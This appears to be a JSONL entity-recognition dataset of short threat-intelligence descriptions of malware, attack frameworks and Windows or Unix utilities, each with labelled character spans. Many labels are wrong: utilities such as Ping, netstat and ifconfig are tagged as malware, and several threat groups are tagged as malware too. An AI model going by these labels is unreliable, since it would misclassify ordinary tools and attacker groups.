+{"text": "Azorult is a commercial Trojan that is used to steal information from compromised hosts. Azorult has been observed in the wild as early as 2016.\nIn July 2018, Azorult was seen used in a spearphishing campaign against targets in North America. Azorult has been seen used for cryptocurrency theft.", "spans": {"MALWARE: Azorult": [[0, 7], [89, 96], [159, 166], [243, 250]], "VULNERABILITY: spearphishing": [[186, 199]]}, "info": {"source": "apt_reports", "name": "Azorult"}}
+{"text": "BitPaymer is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. BitPaymer uses a unique encryption key, ransom note, and contact information for each operation. BitPaymer has several indicators suggesting overlap with the Dridex malware and is often delivered via Dridex.", "spans": {"MALWARE: BitPaymer": [[0, 9], [96, 105], [193, 202]], "MALWARE: Dridex": [[254, 260], [296, 302]]}, "info": {"source": "apt_reports", "name": "BitPaymer"}}
+{"text": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.", "spans": {"MALWARE: BACKSPACE": [[0, 9]], "THREAT_ACTOR: APT30": [[32, 37]]}, "info": {"source": "apt_reports", "name": "BACKSPACE"}}
+{"text": "Zox is a remote access tool that has been used by Axiom since at least 2008.", "spans": {"MALWARE: Zox": [[0, 3]], "MALWARE: Axiom": [[50, 55]]}, "info": {"source": "apt_reports", "name": "Zox"}}
+{"text": "UPPERCUT is a backdoor that has been used by menuPass.", "spans": {"MALWARE: UPPERCUT": [[0, 8]], "MALWARE: menuPass": [[45, 53]]}, "info": {"source": "apt_reports", "name": "UPPERCUT"}}
+{"text": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.", "spans": {"MALWARE: ADVSTORESHELL": [[0, 13]], "THREAT_ACTOR: APT28": [[57, 62]]}, "info": {"source": "apt_reports", "name": "ADVSTORESHELL"}}
+{"text": "StrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.", "spans": {"MALWARE: StrifeWater": [[0, 11]], "MALWARE: Moses Staff": [[58, 69]]}, "info": {"source": "apt_reports", "name": "StrifeWater"}}
+{"text": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.", "spans": {"MALWARE: Mivast": [[0, 6]], "MALWARE: Deep Panda": [[43, 53]]}, "info": {"source": "apt_reports", "name": "Mivast"}}
+{"text": "HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.", "spans": {"MALWARE: HiddenWasp": [[0, 10]], "SYSTEM: Linux": [[16, 21]]}, "info": {"source": "apt_reports", "name": "HiddenWasp"}}
+{"text": "WarzoneRAT is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.", "spans": {"MALWARE: WarzoneRAT": [[0, 10]]}, "info": {"source": "apt_reports", "name": "WarzoneRAT"}}
+{"text": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.", "spans": {"MALWARE: Net Crawler": [[0, 11], [227, 238]], "TOOL: PsExec": [[199, 205]], "SYSTEM: SMB": [[134, 137]]}, "info": {"source": "apt_reports", "name": "Net Crawler"}}
+{"text": "SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.  \n\nIn October 2020, Kaspersky Labs assessed SLOTHFULMEDIA is part of an activity cluster it refers to as \"IAmTheKing\". ESET also noted code similarity between SLOTHFULMEDIA and droppers used by a group it refers to as \"PowerPool\".", "spans": {"MALWARE: SLOTHFULMEDIA": [[0, 13], [384, 397], [499, 512]], "THREAT_ACTOR: PowerPool": [[559, 568]], "SYSTEM: Kaspersky": [[360, 369]], "SYSTEM: ESET": [[459, 463]]}, "info": {"source": "apt_reports", "name": "SLOTHFULMEDIA"}}
+{"text": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website.", "spans": {"MALWARE: FALLCHILL": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[41, 54], [175, 188]]}, "info": {"source": "apt_reports", "name": "FALLCHILL"}}
+{"text": "XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware.  XORIndex Loader was first reported in June 2025.  XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview.  XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.", "spans": {"MALWARE: XORIndex Loader": [[0, 15], [145, 160], [195, 210], [307, 322]], "THREAT_ACTOR: Contagious Interview": [[284, 304]], "MALWARE: BeaverTail": [[124, 134]]}, "info": {"source": "apt_reports", "name": "XORIndex Loader"}}
+{"text": "Small Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n\nSecurity researchers have also noted Small Sieve's use by UNC3313, which may be associated with MuddyWater.", "spans": {"MALWARE: Small Sieve": [[0, 11], [241, 252]], "THREAT_ACTOR: MuddyWater": [[163, 173], [300, 310]], "SYSTEM: Telegram Bot API": [[17, 33]], "SYSTEM: Python": [[40, 46]], "SYSTEM: Telegram": [[17, 25]]}, "info": {"source": "apt_reports", "name": "Small Sieve"}}
+{"text": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.", "spans": {"MALWARE: Flame": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Flame"}}
+{"text": "HermeticWizard is a worm that has been used to spread HermeticWiper in attacks against organizations in Ukraine since at least 2022.", "spans": {"MALWARE: HermeticWizard": [[0, 14]], "MALWARE: HermeticWiper": [[54, 67]]}, "info": {"source": "apt_reports", "name": "HermeticWizard"}}
+{"text": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. \n\nNet has a great deal of functionality,  much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through SMB/Windows Admin Shares using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.", "spans": {"MALWARE: Net": [[4, 7], [169, 172]], "TOOL: net.exe": [[497, 504]], "SYSTEM: SMB": [[340, 343]], "SYSTEM: Windows": [[38, 45], [344, 351]]}, "info": {"source": "apt_reports", "name": "Net"}}
+{"text": "RemoteUtilities is a legitimate remote administration tool that has been used by MuddyWater since at least 2021 for execution on target machines.", "spans": {"MALWARE: RemoteUtilities": [[0, 15]], "THREAT_ACTOR: MuddyWater": [[81, 91]]}, "info": {"source": "apt_reports", "name": "RemoteUtilities"}}
+{"text": "Covenant is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as HAFNIUM during operations. Covenant functions through a central listener managing multiple deployed \"Grunts\" that communicate back to the controller.", "spans": {"TOOL: Covenant": [[0, 8], [218, 226]], "THREAT_ACTOR: HAFNIUM": [[191, 198]], "SYSTEM: .NET": [[70, 74]]}, "info": {"source": "apt_reports", "name": "Covenant"}}
+{"text": "NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.", "spans": {"MALWARE: NPPSPY": [[0, 6], [174, 180]], "SYSTEM: Windows": [[120, 127]]}, "info": {"source": "apt_reports", "name": "NPPSPY"}}
+{"text": "BloodHound is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.", "spans": {"TOOL: BloodHound": [[0, 10]], "SYSTEM: Active Directory": [[17, 33]]}, "info": {"source": "apt_reports", "name": "BloodHound"}}
+{"text": "certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.", "spans": {"TOOL: certutil": [[0, 8]]}, "info": {"source": "apt_reports", "name": "certutil"}}
+{"text": "at is used to schedule tasks on a system to run at a specified date or time.", "spans": {"MALWARE: at": [[0, 2], [48, 50]]}, "info": {"source": "apt_reports", "name": "at"}}
+{"text": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.", "spans": {"MALWARE: UACMe": [[0, 5]], "SYSTEM: Windows": [[81, 88]]}, "info": {"source": "apt_reports", "name": "UACMe"}}
+{"text": "ShimRatReporter is a tool used by suspected Chinese adversary Mofang to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as ShimRat) as well as set up faux infrastructure which mimics the adversary's targets. ShimRatReporter has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.", "spans": {"MALWARE: ShimRatReporter": [[0, 15], [280, 295]], "MALWARE: Mofang": [[62, 68]], "MALWARE: ShimRat": [[195, 202]]}, "info": {"source": "apt_reports", "name": "ShimRatReporter"}}
+{"text": "Sliver is an open source, cross-platform, red team command and control (C2) framework written in Golang. Sliver includes its own package manager, \"armory,\" for staging and downloading additional tools and payloads to the primary C2 framework.", "spans": {"TOOL: Sliver": [[0, 6], [105, 111]]}, "info": {"source": "apt_reports", "name": "Sliver"}}
+{"text": "SILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.", "spans": {"MALWARE: SILENTTRINITY": [[0, 13], [171, 184]], "SYSTEM: Python": [[107, 113]]}, "info": {"source": "apt_reports", "name": "SILENTTRINITY"}}
+{"text": "PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration.", "spans": {"TOOL: PowerSploit": [[0, 11]], "TOOL: PowerShell": [[73, 83]], "VULNERABILITY: code execution": [[178, 192]]}, "info": {"source": "apt_reports", "name": "PowerSploit"}}
+{"text": "Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.", "spans": {"MALWARE: Pacu": [[0, 4]], "SYSTEM: GitHub": [[107, 113]], "SYSTEM: Python": [[74, 80]], "SYSTEM: AWS": [[23, 26]]}, "info": {"source": "apt_reports", "name": "Pacu"}}
+{"text": "Windows Credential Editor is a password dumping tool.", "spans": {"MALWARE: Windows Credential Editor": [[0, 25]], "SYSTEM: Windows": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Windows Credential Editor"}}
+{"text": "Impacket is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. Impacket contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.", "spans": {"TOOL: Impacket": [[0, 8], [137, 145]], "SYSTEM: Kerberos": [[199, 207]], "SYSTEM: Windows": [[222, 229]], "SYSTEM: Python": [[60, 66]], "VULNERABILITY: credential dumping": [[230, 248]]}, "info": {"source": "apt_reports", "name": "Impacket"}}
+{"text": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.", "spans": {"TOOL: ipconfig": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "apt_reports", "name": "ipconfig"}}
+{"text": "AADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.", "spans": {"MALWARE: AADInternals": [[0, 12]], "TOOL: PowerShell": [[18, 28]], "SYSTEM: GitHub": [[150, 156]], "SYSTEM: Azure Active Directory": [[92, 114]], "SYSTEM: Active Directory": [[98, 114]], "SYSTEM: Azure": [[92, 97]]}, "info": {"source": "apt_reports", "name": "AADInternals"}}
+{"text": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.", "spans": {"MALWARE: Tasklist": [[4, 12]], "SYSTEM: Windows": [[177, 184]]}, "info": {"source": "apt_reports", "name": "Tasklist"}}
+{"text": "ngrok is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. ngrok has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.", "spans": {"TOOL: ngrok": [[0, 5], [160, 165]]}, "info": {"source": "apt_reports", "name": "ngrok"}}
+{"text": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.", "spans": {"MALWARE: Lslsass": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Lslsass"}}
+{"text": "Arp displays and modifies information about a system's Address Resolution Protocol (ARP) cache.", "spans": {"MALWARE: Arp": [[0, 3]]}, "info": {"source": "apt_reports", "name": "Arp"}}
+{"text": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET.", "spans": {"MALWARE: spwebmember": [[0, 11]], "SYSTEM: SharePoint": [[27, 37]], "SYSTEM: Microsoft SharePoint": [[17, 37]], "SYSTEM: .NET": [[83, 87]], "ORGANIZATION: Microsoft": [[17, 26]]}, "info": {"source": "apt_reports", "name": "spwebmember"}}
+{"text": "Empire is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure PowerShell for Windows and Python for Linux/macOS. Empire was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.", "spans": {"TOOL: Empire": [[0, 6], [287, 293]], "TOOL: PowerShell": [[236, 246]], "SYSTEM: macOS": [[280, 285]], "SYSTEM: GitHub": [[125, 131]], "SYSTEM: Windows": [[251, 258]], "SYSTEM: Python": [[179, 185], [263, 269]], "SYSTEM: Linux": [[274, 279]]}, "info": {"source": "apt_reports", "name": "Empire"}}
+{"text": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.", "spans": {"MALWARE: ifconfig": [[0, 8]], "SYSTEM: Unix": [[14, 18]]}, "info": {"source": "apt_reports", "name": "ifconfig"}}
+{"text": "FRP, which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. FRP can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.", "spans": {"MALWARE: FRP": [[0, 3], [187, 190]]}, "info": {"source": "apt_reports", "name": "FRP"}}
+{"text": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.  It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", "spans": {"TOOL: dsquery": [[0, 7]], "SYSTEM: Windows Server": [[159, 173]], "SYSTEM: Windows": [[159, 166]], "SYSTEM: Active Directory": [[60, 76]], "ORGANIZATION: Microsoft": [[239, 248]]}, "info": {"source": "apt_reports", "name": "dsquery"}}
+{"text": "PcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.", "spans": {"MALWARE: PcShare": [[0, 7]], "THREAT_ACTOR: FunnyDream": [[127, 137]]}, "info": {"source": "apt_reports", "name": "PcShare"}}
+{"text": "RawDisk is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.", "spans": {"MALWARE: RawDisk": [[0, 7]], "SYSTEM: Windows": [[320, 327]]}, "info": {"source": "apt_reports", "name": "RawDisk"}}
+{"text": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.", "spans": {"MALWARE: netstat": [[0, 7]]}, "info": {"source": "apt_reports", "name": "netstat"}}
+{"text": "PoshC2 is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in PowerShell. Although PoshC2 is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.", "spans": {"TOOL: PoshC2": [[0, 6], [244, 250]], "TOOL: PowerShell": [[223, 233]], "SYSTEM: macOS": [[346, 351]], "SYSTEM: GitHub": [[109, 115]], "SYSTEM: Windows": [[275, 282]], "SYSTEM: Python": [[181, 187], [321, 327]], "SYSTEM: Linux": [[340, 345]]}, "info": {"source": "apt_reports", "name": "PoshC2"}}
+{"text": "Fgdump is a Windows password hash dumper.", "spans": {"MALWARE: Fgdump": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "apt_reports", "name": "Fgdump"}}
+{"text": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.", "spans": {"MALWARE: xCmd": [[0, 4]], "TOOL: PsExec": [[47, 53]]}, "info": {"source": "apt_reports", "name": "xCmd"}}
+{"text": "CSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.", "spans": {"MALWARE: CSPY Downloader": [[0, 15]], "THREAT_ACTOR: Kimsuky": [[94, 101]]}, "info": {"source": "apt_reports", "name": "CSPY Downloader"}}
+{"text": "Rclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.", "spans": {"TOOL: Rclone": [[0, 6], [131, 137]], "ORGANIZATION: Amazon": [[110, 116]], "ORGANIZATION: Google": [[96, 102]], "MALWARE: Conti": [[225, 230]], "MALWARE: DarkSide": [[235, 243]]}, "info": {"source": "apt_reports", "name": "Rclone"}}
+{"text": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms.", "spans": {"MALWARE: MimiPenguin": [[0, 11]], "TOOL: Mimikatz": [[47, 55]], "SYSTEM: Linux": [[83, 88]]}, "info": {"source": "apt_reports", "name": "MimiPenguin"}}
+{"text": "netsh is a scripting utility used to interact with networking components on local or remote systems.", "spans": {"MALWARE: netsh": [[0, 5]]}, "info": {"source": "apt_reports", "name": "netsh"}}
+{"text": "CARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.", "spans": {"MALWARE: CARROTBALL": [[0, 10], [82, 92]], "MALWARE: SYSCON": [[134, 140]]}, "info": {"source": "apt_reports", "name": "CARROTBALL"}}
+{"text": "BITSAdmin is a command line tool used to create and manage BITS Jobs.", "spans": {"TOOL: BITSAdmin": [[0, 9]]}, "info": {"source": "apt_reports", "name": "BITSAdmin"}}
+{"text": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.", "spans": {"MALWARE: meek": [[0, 4]], "TOOL: Tor": [[23, 26], [47, 50]]}, "info": {"source": "apt_reports", "name": "meek"}}
+{"text": "AsyncRAT is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.", "spans": {"TOOL: AsyncRAT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "AsyncRAT"}}
+{"text": "ROADTools is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.", "spans": {"MALWARE: ROADTools": [[0, 9]], "SYSTEM: GitHub": [[134, 140]], "SYSTEM: Azure Active Directory": [[41, 63]], "SYSTEM: Python": [[101, 107]], "SYSTEM: Active Directory": [[47, 63]], "SYSTEM: Azure": [[41, 46]]}, "info": {"source": "apt_reports", "name": "ROADTools"}}
+{"text": "Brute Ratel C4 is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. Brute Ratel C4 was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.", "spans": {"MALWARE: Brute Ratel C4": [[0, 14], [120, 134], [427, 441]], "TOOL: Brute Ratel": [[0, 11], [120, 131], [427, 438]], "VULNERABILITY: privilege escalation": [[348, 368]]}, "info": {"source": "apt_reports", "name": "Brute Ratel C4"}}
+{"text": "Peirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.", "spans": {"MALWARE: Peirates": [[0, 8]], "SYSTEM: GitHub": [[218, 224]], "SYSTEM: Kubernetes": [[32, 42]], "VULNERABILITY: privilege escalation": [[140, 160]]}, "info": {"source": "apt_reports", "name": "Peirates"}}
+{"text": "Remcos is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. Remcos has been observed being used in malware campaigns.", "spans": {"TOOL: Remcos": [[0, 6], [133, 139]]}, "info": {"source": "apt_reports", "name": "Remcos"}}
+{"text": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.", "spans": {"MALWARE: Systeminfo": [[0, 10]], "SYSTEM: Windows": [[16, 23]]}, "info": {"source": "apt_reports", "name": "Systeminfo"}}
+{"text": "Out1 is a remote access tool written in python and used by MuddyWater since at least 2021.", "spans": {"MALWARE: Out1": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[59, 69]]}, "info": {"source": "apt_reports", "name": "Out1"}}
+{"text": "ConnectWise is a legitimate remote administration tool that has been used since at least 2016 by threat actors including MuddyWater and GOLD SOUTHFIELD to connect to and conduct lateral movement in target environments.", "spans": {"TOOL: ConnectWise": [[0, 11]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[136, 151]], "THREAT_ACTOR: MuddyWater": [[121, 131]]}, "info": {"source": "apt_reports", "name": "ConnectWise"}}
+{"text": "attrib is a Windows utility used to display, set or remove attributes assigned to files or directories.", "spans": {"MALWARE: attrib": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "apt_reports", "name": "attrib"}}
+{"text": "Imminent Monitor was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.", "spans": {"MALWARE: Imminent Monitor": [[0, 16], [146, 162]]}, "info": {"source": "apt_reports", "name": "Imminent Monitor"}}
+{"text": "Ruler is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of Ruler have also released a defensive tool, NotRuler, to detect its usage.", "spans": {"MALWARE: Ruler": [[0, 5], [152, 157]], "SYSTEM: GitHub": [[82, 88]], "SYSTEM: Microsoft Exchange": [[25, 43]], "ORGANIZATION: Microsoft": [[25, 34]]}, "info": {"source": "apt_reports", "name": "Ruler"}}
+{"text": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts.", "spans": {"MALWARE: Forfiles": [[0, 8], [220, 228]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "apt_reports", "name": "Forfiles"}}
+{"text": "Winexe is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers.  Winexe is unique in that it is a GNU/Linux based client.", "spans": {"MALWARE: Winexe": [[0, 6], [140, 146]], "TOOL: PsExec": [[53, 59]], "SYSTEM: Linux": [[177, 182]]}, "info": {"source": "apt_reports", "name": "Winexe"}}
+{"text": "MCMD is a remote access tool that provides remote command shell capability used by Dragonfly 2.0.", "spans": {"MALWARE: MCMD": [[0, 4]], "MALWARE: Dragonfly 2.0": [[83, 96]], "MALWARE: Dragonfly": [[83, 92]]}, "info": {"source": "apt_reports", "name": "MCMD"}}
+{"text": "Nltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.", "spans": {"MALWARE: Nltest": [[0, 6]], "SYSTEM: Windows": [[12, 19]]}, "info": {"source": "apt_reports", "name": "Nltest"}}
+{"text": "MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.", "spans": {"MALWARE: MailSniper": [[0, 10]], "SYSTEM: Microsoft Exchange": [[74, 92]], "ORGANIZATION: Microsoft": [[74, 83]]}, "info": {"source": "apt_reports", "name": "MailSniper"}}
+{"text": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws.", "spans": {"TOOL: sqlmap": [[0, 6]], "VULNERABILITY: SQL injection": [[119, 132]]}, "info": {"source": "apt_reports", "name": "sqlmap"}}
+{"text": "pwdump is a credential dumper.", "spans": {"MALWARE: pwdump": [[0, 6]]}, "info": {"source": "apt_reports", "name": "pwdump"}}
+{"text": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.", "spans": {"TOOL: Responder": [[0, 9]], "SYSTEM: SMB": [[95, 98]], "SYSTEM: LDAP": [[109, 113]]}, "info": {"source": "apt_reports", "name": "Responder"}}
+{"text": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.", "spans": {"MALWARE: Pass-The-Hash Toolkit": [[0, 21]]}, "info": {"source": "apt_reports", "name": "Pass-The-Hash Toolkit"}}
+{"text": "Donut is an open source framework used to generate position-independent shellcode. Donut generated code has been used by multiple threat actors to inject and load malicious payloads into memory.", "spans": {"MALWARE: Donut": [[0, 5], [83, 88]]}, "info": {"source": "apt_reports", "name": "Donut"}}
+{"text": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.", "spans": {"TOOL: Mimikatz": [[0, 8]], "SYSTEM: Windows": [[63, 70]]}, "info": {"source": "apt_reports", "name": "Mimikatz"}}
+{"text": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.", "spans": {"MALWARE: gsecdump": [[0, 8]], "SYSTEM: Windows": [[103, 110]]}, "info": {"source": "apt_reports", "name": "gsecdump"}}
+{"text": "IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", "spans": {"MALWARE: IronNetInjector": [[0, 15]], "THREAT_ACTOR: Turla": [[21, 26]], "SYSTEM: Python": [[109, 115]], "SYSTEM: .NET": [[123, 127]], "MALWARE: ComRAT": [[176, 182]]}, "info": {"source": "apt_reports", "name": "IronNetInjector"}}
+{"text": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.", "spans": {"MALWARE: nbtstat": [[0, 7]]}, "info": {"source": "apt_reports", "name": "nbtstat"}}
+{"text": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords.", "spans": {"MALWARE: Invoke-PSImage": [[0, 14]], "TOOL: Mimikatz": [[249, 257]], "TOOL: PowerShell": [[23, 33], [217, 227], [402, 412]], "TOOL: Invoke-Mimikatz": [[242, 257]]}, "info": {"source": "apt_reports", "name": "Invoke-PSImage"}}
+{"text": "NBTscan is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.", "spans": {"MALWARE: NBTscan": [[0, 7]]}, "info": {"source": "apt_reports", "name": "NBTscan"}}
+{"text": "LaZagne is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. LaZagne is publicly available on GitHub.", "spans": {"TOOL: LaZagne": [[0, 7], [181, 188]], "SYSTEM: GitHub": [[214, 220]], "SYSTEM: Windows": [[114, 121], [164, 171]], "SYSTEM: Linux": [[123, 128]]}, "info": {"source": "apt_reports", "name": "LaZagne"}}
+{"text": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.", "spans": {"MALWARE: Ping": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Ping"}}
+{"text": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. \n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> ), deleting files (e.g., <code>del</code> ), and copying files (e.g., <code>copy</code> ).", "spans": {"TOOL: cmd": [[0, 3]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "apt_reports", "name": "cmd"}}
+{"text": "route can be used to find or change information within the local system IP routing table.", "spans": {"MALWARE: route": [[0, 5]]}, "info": {"source": "apt_reports", "name": "route"}}
+{"text": "esentutl is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.", "spans": {"TOOL: esentutl": [[0, 8]], "SYSTEM: Windows": [[73, 80]]}, "info": {"source": "apt_reports", "name": "esentutl"}}
+{"text": "CrackMapExec, or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. CrackMapExec collects Active Directory information to conduct lateral movement through targeted networks.", "spans": {"TOOL: CrackMapExec": [[0, 12], [125, 137]], "SYSTEM: Python": [[63, 69]], "SYSTEM: Active Directory": [[147, 163]]}, "info": {"source": "apt_reports", "name": "CrackMapExec"}}
+{"text": "Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.", "spans": {"MALWARE: Koadic": [[0, 6], [115, 121]], "SYSTEM: GitHub": [[107, 113]], "SYSTEM: Windows": [[12, 19], [228, 235]]}, "info": {"source": "apt_reports", "name": "Koadic"}}
+{"text": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.", "spans": {"TOOL: schtasks": [[0, 8]], "SYSTEM: Windows": [[67, 74]]}, "info": {"source": "apt_reports", "name": "schtasks"}}
+{"text": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.", "spans": {"MALWARE: Cachedump": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Cachedump"}}
